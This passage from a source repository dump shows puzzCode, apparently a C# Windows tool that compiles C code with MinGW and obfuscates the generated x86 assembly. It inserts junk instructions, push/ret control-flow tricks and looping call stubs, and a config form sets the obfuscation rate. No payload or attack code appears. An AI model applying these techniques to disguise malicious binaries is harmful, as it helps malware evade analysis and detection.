this.Controls.Add(this.gwPathTB); 191 | this.Controls.Add(this.label1); 192 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; 193 | this.MaximizeBox = false; 194 | this.MinimizeBox = false; 195 | this.Name = "config"; 196 | this.Padding = new System.Windows.Forms.Padding(9, 8, 9, 8); 197 | this.ShowIcon = false; 198 | this.ShowInTaskbar = false; 199 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; 200 | this.Text = "Config"; 201 | this.Load += new System.EventHandler(this.config_Load); 202 | this.ResumeLayout(false); 203 | this.PerformLayout(); 204 | 205 | } 206 | 207 | #endregion 208 | 209 | private System.Windows.Forms.Label label1; 210 | private System.Windows.Forms.TextBox gwPathTB; 211 | private System.Windows.Forms.Button button1; 212 | private System.Windows.Forms.Label label2; 213 | private System.Windows.Forms.TextBox clArgTB; 214 | private System.Windows.Forms.TextBox lkArgTB; 215 | private System.Windows.Forms.Label label3; 216 | private System.Windows.Forms.Button button2; 217 | private System.Windows.Forms.TextBox obfusPcntTB; 218 | private System.Windows.Forms.Label label4; 219 | private System.Windows.Forms.CheckBox insrtJunkCB; 220 | private System.Windows.Forms.CheckBox cnfOrgJunk; 221 | private System.Windows.Forms.CheckBox clnComplieCB; 222 | } 223 | } 224 | -------------------------------------------------------------------------------- /puzzCode/config.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.IO; 6 | using System.Reflection; 7 | using System.Windows.Forms; 8 | 9 | namespace puzzCode 10 | { 11 | partial class config : Form 12 | { 13 | public config() 14 | { 15 | InitializeComponent(); 16 | } 17 | 18 | private void config_Load(object sender, EventArgs e) 19 | { 20 | this.gwPathTB.Text = Properties.Settings.Default.gwPath; 21 | this.lkArgTB.Text = Properties.Settings.Default.linkArg; 22 | this.clArgTB.Text = Properties.Settings.Default.clArg; 23 | this.obfusPcntTB.Text = Properties.Settings.Default.obfusPcnt.ToString(); 24 | this.cnfOrgJunk.Checked = Properties.Settings.Default.cnfseCode; 25 | this.insrtJunkCB.Checked = Properties.Settings.Default.insrtJunk; 26 | this.clnComplieCB.Checked = Properties.Settings.Default.clnAftCompile; 27 | } 28 | 29 | private void button1_Click(object sender, EventArgs e) 30 | { 31 | var gwPathInput = this.gwPathTB.Text; 32 | if (!new DirectoryInfo(gwPathInput).Exists) 33 | { 34 | MessageBox.Show(string.Format("MinGW path \"{0}\" not found!", gwPathInput)); 35 | return; 36 | } 37 | if (!new FileInfo(Path.Combine(gwPathInput, "gcc.exe")).Exists) 38 | { 39 | MessageBox.Show(string.Format("MinGW compiler \"{0}\" not found!", Path.Combine(gwPathInput, "gcc.exe"))); 40 | return; 41 | } 42 | if (!new FileInfo(Path.Combine(gwPathInput, "ld.exe")).Exists) 43 | { 44 | MessageBox.Show(string.Format("MinGW linker \"{0}\" not found!", Path.Combine(gwPathInput, "ld.exe"))); 45 | return; 46 | } 47 | 48 | int p = 0; 49 | if (!int.TryParse(this.obfusPcntTB.Text, out p)) 50 | { 51 | MessageBox.Show(string.Format("Obfuscate % \"{0}\" not found!", this.obfusPcntTB.Text)); 52 | return; 53 | } 54 | Properties.Settings.Default.gwPath = this.gwPathTB.Text; 55 | Properties.Settings.Default.linkArg = this.lkArgTB.Text; 56 | Properties.Settings.Default.clArg = this.clArgTB.Text; 57 | Properties.Settings.Default.obfusPcnt = p; 58 | Properties.Settings.Default.cnfseCode = this.cnfOrgJunk.Checked; 59 | Properties.Settings.Default.insrtJunk = this.insrtJunkCB.Checked; 60 | Properties.Settings.Default.clnAftCompile = this.clnComplieCB.Checked; 61 | Properties.Settings.Default.Save(); 62 | MessageBox.Show("save config successfully!"); 63 | this.Close(); 64 | } 65 | 66 | private void button2_Click(object sender, EventArgs e) 67 | { 68 | Properties.Settings.Default.Reset(); 69 | config_Load(null, null); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /puzzCode/config.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /puzzCode/obfuscator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Drawing; 4 | using System.Text; 5 | using System.Text.RegularExpressions; 6 | using System.Windows.Forms; 7 | 8 | namespace puzzCode 9 | { 10 | public static class obfuscator 11 | { 12 | public static RichTextBox logText; 13 | private static void logMsg(string text, Color colorReq, string endchar = "\n") 14 | { 15 | Program.mainUi.BeginInvoke((MethodInvoker)delegate 16 | { 17 | Color org = logText.SelectionColor; 18 | logText.SelectionColor = colorReq; 19 | logText.AppendText(text + endchar); 20 | logText.SelectionColor = org; 21 | logText.ScrollToCaret(); 22 | }); 23 | } 24 | 25 | private static int label_extra_count = 0; 26 | private static int junk_count = 0; 27 | private static int obfuscat_code_count = 0; 28 | private static Random rnd = new Random(); 29 | private static bool shouldGeneratJunk() 30 | { 31 | return (rnd.Next(0, 100) < Properties.Settings.Default.obfusPcnt); 32 | } 33 | 34 | private static void randJunk(ref string currLineAddition, ref string extraCodeAddition, bool forceJunk = false) 35 | { 36 | if (!shouldGeneratJunk() && !forceJunk) return; 37 | junk_count++; 38 | switch (rnd.Next(0, 5)) 39 | { 40 | case 2: 41 | currLineAddition = "lea esp, [esp-8]\n" + 42 | "mov dword ptr [esp+4], offset obfusca_" + label_extra_count + "\n" + 43 | "mov dword ptr [esp+0], offset obfusca_" + (label_extra_count + 1) + "\n" + 44 | "ret\n" + 45 | "obfusca_" + label_extra_count + ":\n"; 46 | 47 | extraCodeAddition = "obfusca_" + (label_extra_count + 1) + ":\n" + 48 | "lea esp, [esp+4]\n" + 49 | "jmp dword ptr [esp-4]\n" + 50 | "int 3\n"; 51 | 52 | label_extra_count += 2; 53 | break; 54 | 55 | case 3: 56 | currLineAddition = "push eax\n" + 57 | "lea esp, [esp-8]\n" + 58 | "mov dword ptr [esp+0], offset obfusca_" + label_extra_count + "\n" + 59 | "mov dword ptr [esp+4], offset obfusca_" + (label_extra_count + 1) + "\n" + 60 | "mov eax, [esp+4]\n" + 61 | "xchg eax, [esp+0]\n" + 62 | "mov [esp+4], eax\n" + 63 | "ret\n" + 64 | "obfusca_" + label_extra_count + ":\n" + 65 | "pop eax\n"; 66 | 67 | extraCodeAddition = "obfusca_" + (label_extra_count + 1) + ":\n" + 68 | "lea esp, [esp+4]\n" + 69 | "jmp dword ptr [esp-4]\n" + 70 | "int 3\n"; 71 | 72 | label_extra_count += 2; 73 | break; 74 | 75 | case 0: 76 | currLineAddition = "pushf\n" + 77 | "sub esp, 5\nlea esp, [esp-3]\n" + 78 | "mov dword ptr [esp+4], offset obfusca_" + label_extra_count + "\n" + 79 | "mov dword ptr [esp+0], offset obfusca_" + (label_extra_count + 1) + "\n" + 80 | "jmp dword ptr [esp+0]\n" + 81 | "obfusca_" + label_extra_count + ":\n"; 82 | 83 | extraCodeAddition = "obfusca_" + (label_extra_count + 1) + ":\n" + 84 | "lea esp, [esp+8]\n" + 85 | "popf\n" + 86 | "jmp dword ptr [esp-8]\n" + 87 | "int 3\n"; 88 | 89 | label_extra_count += 2; 90 | break; 91 | case 1: 92 | currLineAddition = "push offset obfusca_" + label_extra_count + "\n" + 93 | "push offset obfusca_" + (label_extra_count + 1) + "\n" + 94 | "ret\n" + 95 | "obfusca_" + label_extra_count + ":\n"; 96 | 97 | extraCodeAddition = "obfusca_" + (label_extra_count + 1) + ":\n" + 98 | "ret\n" + 99 | "int 3\n"; 100 | 101 | label_extra_count += 2; 102 | break; 103 | default: 104 | currLineAddition = "pushf\nxor edi, esi\nxor edi, esi\npopf\nnop\n"; 105 | extraCodeAddition = "int 0x2e\n"; 106 | break; 107 | } 108 | } 109 | private static void obfuscatCode(string orginalCode, ref string currLineAddition, ref string extraCodeAddition, bool forceJunk = false) 110 | { 111 | currLineAddition = orginalCode + "\r\n"; 112 | extraCodeAddition = ""; 113 | if (!shouldGeneratJunk() && !forceJunk) return; 114 | 115 | obfuscat_code_count++; 116 | Match m = new Regex(@"mov[\x20\t]+([^,]+),(.+)").Match(orginalCode); 117 | if (m.Success) 118 | { 119 | currLineAddition = string.Format( 120 | "push {1} \r\n" + 121 | "call obfusca_{2} \r\n" + 122 | "pop {0} \r\n", 123 | m.Groups[1].Value, m.Groups[2].Value, label_extra_count 124 | ); 125 | 126 | extraCodeAddition = string.Format( 127 | "obfusca_{0}: \r\n" + 128 | "pushf \r\n" + 129 | "push ecx \r\n" + 130 | "mov ecx, {2} \r\n" + 131 | "obfusca_{1}: \r\n" + 132 | "loop obfusca_{1} \r\n" + 133 | "pop ecx \r\n" + 134 | "popf \r\n" + 135 | "ret \r\n", label_extra_count, label_extra_count+1, rnd.Next(5, 128) 136 | ); 137 | label_extra_count += 2; 138 | return; 139 | } 140 | 141 | m = new Regex(@"call[\x20\t]+(.+)").Match(orginalCode); 142 | if (m.Success) 143 | { 144 | currLineAddition = string.Format( 145 | "push offset obfusca_{1} \r\n" + 146 | "push offset {0} \r\n" + 147 | "ret \r\n" + 148 | "obfusca_{1}:", 149 | m.Groups[1].Value, label_extra_count 150 | ); 151 | extraCodeAddition = ""; 152 | label_extra_count += 1; 153 | return; 154 | } 155 | 156 | currLineAddition = string.Format( 157 | "obfusca_{1}: \r\n" + 158 | "call obfusca_{2} \r\n" + 159 | "loop obfusca_{1} \r\n" + 160 | "obfusca_{2}: \r\n" + 161 | "call obfusca_{3} \r\n"+ 162 | "loop obfusca_{1} \r\n" + 163 | "obfusca_{3}: \r\n" + 164 | "call obfusca_{4} \r\n" + 165 | "loop obfusca_{2} \r\n" + 166 | "obfusca_{4}: \r\n" + 167 | "lea esp, [esp+12] \r\n" + 168 | "{0} \r\n", 169 | orginalCode, label_extra_count, label_extra_count + 1, label_extra_count + 2, label_extra_count + 3 170 | ); 171 | label_extra_count += 4; 172 | 173 | } 174 | public static bool obfuscaAsm(string asmPath, string outObfAsmPath) 175 | { 176 | label_extra_count = 0; 177 | junk_count = 0; 178 | obfuscat_code_count = 0; 179 | 180 | string asmCode = System.IO.File.ReadAllText(asmPath); 181 | 182 | string[] gadgets = asmCode.Split('\n'); 183 | string fixCode = ""; 184 | string extCode = ".section .text$junk,\x22wx\x22\n"; 185 | 186 | string currFuncNameMatch = ""; 187 | for (int i = 0; i < gadgets.Length; i++) 188 | { 189 | Program.mainUi.BeginInvoke((MethodInvoker)delegate () { Program.mainUi.percntLB.Text = (i * 100 / gadgets.Length) + "%"; }); 190 | var currLine = gadgets[i]; 191 | 192 | Match m = new Regex(@"(.+):\r").Match(gadgets[i]); 193 | if (m.Success && i < gadgets.Length - 2) 194 | { 195 | currFuncNameMatch = m.Groups[1].Value; 196 | if (gadgets[i + 2].Contains("cfi_startproc")) 197 | { 198 | logMsg("found func::" + currFuncNameMatch + "() at #" + i, Color.Blue); 199 | fixCode += gadgets[i] + "\n\r" + gadgets[i + 1] + "\n\r" + gadgets[i + 2] + "\n\r"; 200 | i += 2; 201 | continue; 202 | } 203 | else currFuncNameMatch = ""; 204 | } 205 | 206 | if (currFuncNameMatch != "") 207 | { 208 | string getJunk = "", getExtra = ""; 209 | if (Properties.Settings.Default.cnfseCode) 210 | { 211 | obfuscatCode(gadgets[i], ref getJunk, ref getExtra); 212 | fixCode += getJunk; 213 | extCode += getExtra; 214 | } 215 | else 216 | fixCode += gadgets[i] + "\n\r"; 217 | 218 | getJunk = ""; getExtra = ""; 219 | if (Properties.Settings.Default.insrtJunk) 220 | { 221 | randJunk(ref getJunk, ref getExtra); 222 | fixCode += getJunk; 223 | extCode += getExtra; 224 | if (gadgets[i].Contains("cfi_endproc")) currFuncNameMatch = ""; 225 | } 226 | } 227 | else 228 | fixCode += gadgets[i] + "\n\r"; 229 | } 230 | Program.mainUi.BeginInvoke((MethodInvoker)delegate () { Program.mainUi.percntLB.Text = "100%"; }); 231 | logMsg(string.Format( 232 | "[\tOK\t] obfuscate result: \n" + 233 | " - generate {0} junk codes \n" + 234 | " - generate {1} obfuscated codes \n" + 235 | " - generate {2} function pieces \n", junk_count, obfuscat_code_count, label_extra_count), Color.Green); 236 | 237 | System.IO.File.WriteAllText(outObfAsmPath, fixCode + "\n" + extCode); 238 | return true; 239 | } 240 | 241 | } 242 | } 243 | -------------------------------------------------------------------------------- /puzzCode/obj/Debug/gwGhost.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/gwGhost.Properties.Resources.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/gwGhost.UI.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/gwGhost.UI.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/gwGhost.aboutUI.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/gwGhost.aboutUI.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/gwGhost.config.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/gwGhost.config.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/gwGhost.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/gwGhost.csproj.CopyComplete -------------------------------------------------------------------------------- /puzzCode/obj/Debug/gwGhost.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.csprojResolveAssemblyReference.cache 2 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.UI.resources 3 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.Properties.Resources.resources 4 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.csproj.GenerateResource.Cache 5 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.csproj.CoreCompileInputs.cache 6 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\gwGhost.exe 7 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\gwGhost.pdb 8 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.exe 9 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.pdb 10 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\FastColoredTextBox.dll 11 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\FastColoredTextBox.xml 12 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.config.resources 13 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\gwGhost.exe.config 14 | -------------------------------------------------------------------------------- /puzzCode/obj/Debug/puzzCode.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/puzzCode.Properties.Resources.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/puzzCode.UI.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/puzzCode.UI.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/puzzCode.aboutUI.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/puzzCode.aboutUI.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/puzzCode.config.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/puzzCode.config.resources -------------------------------------------------------------------------------- /puzzCode/obj/Debug/puzzCode.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Debug/puzzCode.csproj.CopyComplete -------------------------------------------------------------------------------- /puzzCode/obj/Debug/puzzCode.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\gwGhost.exe.config 2 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\gwGhost.exe 3 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\gwGhost.pdb 4 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\FastColoredTextBox.dll 5 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Debug\FastColoredTextBox.xml 6 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.aboutUI.resources 7 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.config.resources 8 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.UI.resources 9 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.Properties.Resources.resources 10 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\puzzCode.csproj.GenerateResource.Cache 11 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\puzzCode.csproj.CoreCompileInputs.cache 12 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.exe 13 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\gwGhost.pdb 14 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Debug\puzzCode.csprojResolveAssemblyReference.cache 15 | C:\Users\exploit\Desktop\gwGhost\puzzCode\bin\Debug\puzzCode.exe.config 16 | C:\Users\exploit\Desktop\gwGhost\puzzCode\bin\Debug\puzzCode.exe 17 | C:\Users\exploit\Desktop\gwGhost\puzzCode\bin\Debug\puzzCode.pdb 18 | C:\Users\exploit\Desktop\gwGhost\puzzCode\bin\Debug\FastColoredTextBox.dll 19 | C:\Users\exploit\Desktop\gwGhost\puzzCode\bin\Debug\FastColoredTextBox.xml 20 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.csprojResolveAssemblyReference.cache 21 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.aboutUI.resources 22 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.config.resources 23 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.UI.resources 24 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.Properties.Resources.resources 25 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.csproj.GenerateResource.Cache 26 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.csproj.CoreCompileInputs.cache 27 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.exe 28 | C:\Users\exploit\Desktop\gwGhost\puzzCode\obj\Debug\puzzCode.pdb 29 | -------------------------------------------------------------------------------- /puzzCode/obj/Release/gwGhost.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Release/gwGhost.csproj.CopyComplete -------------------------------------------------------------------------------- /puzzCode/obj/Release/gwGhost.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\gwGhost.exe.config 2 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\gwGhost.exe 3 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\gwGhost.pdb 4 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\FastColoredTextBox.dll 5 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\FastColoredTextBox.xml 6 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.config.resources 7 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.UI.resources 8 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.Properties.Resources.resources 9 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.csproj.GenerateResource.Cache 10 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.csproj.CoreCompileInputs.cache 11 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.exe 12 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.pdb 13 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.csprojResolveAssemblyReference.cache 14 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\gwGhost.aboutUI.resources 15 | -------------------------------------------------------------------------------- /puzzCode/obj/Release/puzzCode.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Release/puzzCode.Properties.Resources.resources -------------------------------------------------------------------------------- /puzzCode/obj/Release/puzzCode.UI.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Release/puzzCode.UI.resources -------------------------------------------------------------------------------- /puzzCode/obj/Release/puzzCode.aboutUI.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Release/puzzCode.aboutUI.resources -------------------------------------------------------------------------------- /puzzCode/obj/Release/puzzCode.config.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Release/puzzCode.config.resources -------------------------------------------------------------------------------- /puzzCode/obj/Release/puzzCode.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/obj/Release/puzzCode.csproj.CopyComplete -------------------------------------------------------------------------------- /puzzCode/obj/Release/puzzCode.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\FastColoredTextBox.dll 2 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\FastColoredTextBox.xml 3 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.csproj.GenerateResource.Cache 4 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.csproj.CoreCompileInputs.cache 5 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.csprojResolveAssemblyReference.cache 6 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\puzzCode.exe.config 7 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\puzzCode.exe 8 | C:\Users\exploit\Desktop\gwGhost\gwGhost\bin\Release\puzzCode.pdb 9 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.exe 10 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.pdb 11 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.aboutUI.resources 12 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.config.resources 13 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.UI.resources 14 | C:\Users\exploit\Desktop\gwGhost\gwGhost\obj\Release\puzzCode.Properties.Resources.resources 15 | -------------------------------------------------------------------------------- /puzzCode/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /puzzCode/puzzCode.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {60CC8283-8DB2-4A70-9FFB-9F097B41E4A5} 8 | WinExe 9 | puzzCode 10 | puzzCode 11 | v2.0 12 | 512 13 | 14 | 15 | AnyCPU 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | AnyCPU 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | 33 | 34 | puzzle_x3U_icon.ico 35 | 36 | 37 | true 38 | 39 | 40 | puzzCode.Program 41 | 42 | 43 | 44 | ..\packages\FCTB.2.16.21.0\lib\FastColoredTextBox.dll 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | Form 56 | 57 | 58 | aboutUI.cs 59 | 60 | 61 | 62 | Form 63 | 64 | 65 | config.cs 66 | 67 | 68 | 69 | 70 | Form 71 | 72 | 73 | UI.cs 74 | 75 | 76 | 77 | 78 | aboutUI.cs 79 | 80 | 81 | config.cs 82 | 83 | 84 | UI.cs 85 | 86 | 87 | ResXFileCodeGenerator 88 | Resources.Designer.cs 89 | Designer 90 | 91 | 92 | True 93 | Resources.resx 94 | True 95 | 96 | 97 | 98 | 99 | SettingsSingleFileGenerator 100 | Settings.Designer.cs 101 | 102 | 103 | True 104 | Settings.settings 105 | True 106 | 107 | 108 | 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /puzzCode/puzzle_x3U_icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/puzzCode/puzzle_x3U_icon.ico -------------------------------------------------------------------------------- /resources/02666CA47DBF6E48FF90A7D53556B865.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/02666CA47DBF6E48FF90A7D53556B865.png -------------------------------------------------------------------------------- /resources/454D56B8EF05426D6AE99B82B2F8A166.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/454D56B8EF05426D6AE99B82B2F8A166.png -------------------------------------------------------------------------------- /resources/7468CD0110210F9087DEB8A3FE84F929.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/7468CD0110210F9087DEB8A3FE84F929.png -------------------------------------------------------------------------------- /resources/89EFD46DE61B09F2793982E124C535B4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/89EFD46DE61B09F2793982E124C535B4.png -------------------------------------------------------------------------------- /resources/94BA0F1EF7491E9BE5F71BBE80881634.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/94BA0F1EF7491E9BE5F71BBE80881634.png -------------------------------------------------------------------------------- /resources/B123B443F08DF005A368FA6FD60B8EC9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/B123B443F08DF005A368FA6FD60B8EC9.png -------------------------------------------------------------------------------- /resources/D6DD734B6E8B5323148B0F707C5053B8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/D6DD734B6E8B5323148B0F707C5053B8.png -------------------------------------------------------------------------------- /resources/F3D0B8CD285ECAD326C72873AA2D0146.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/F3D0B8CD285ECAD326C72873AA2D0146.png -------------------------------------------------------------------------------- /resources/puzzle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/puzzle.png -------------------------------------------------------------------------------- /resources/snap2017-12-228.47.53.png: -------------------------------------------------------------------------------- 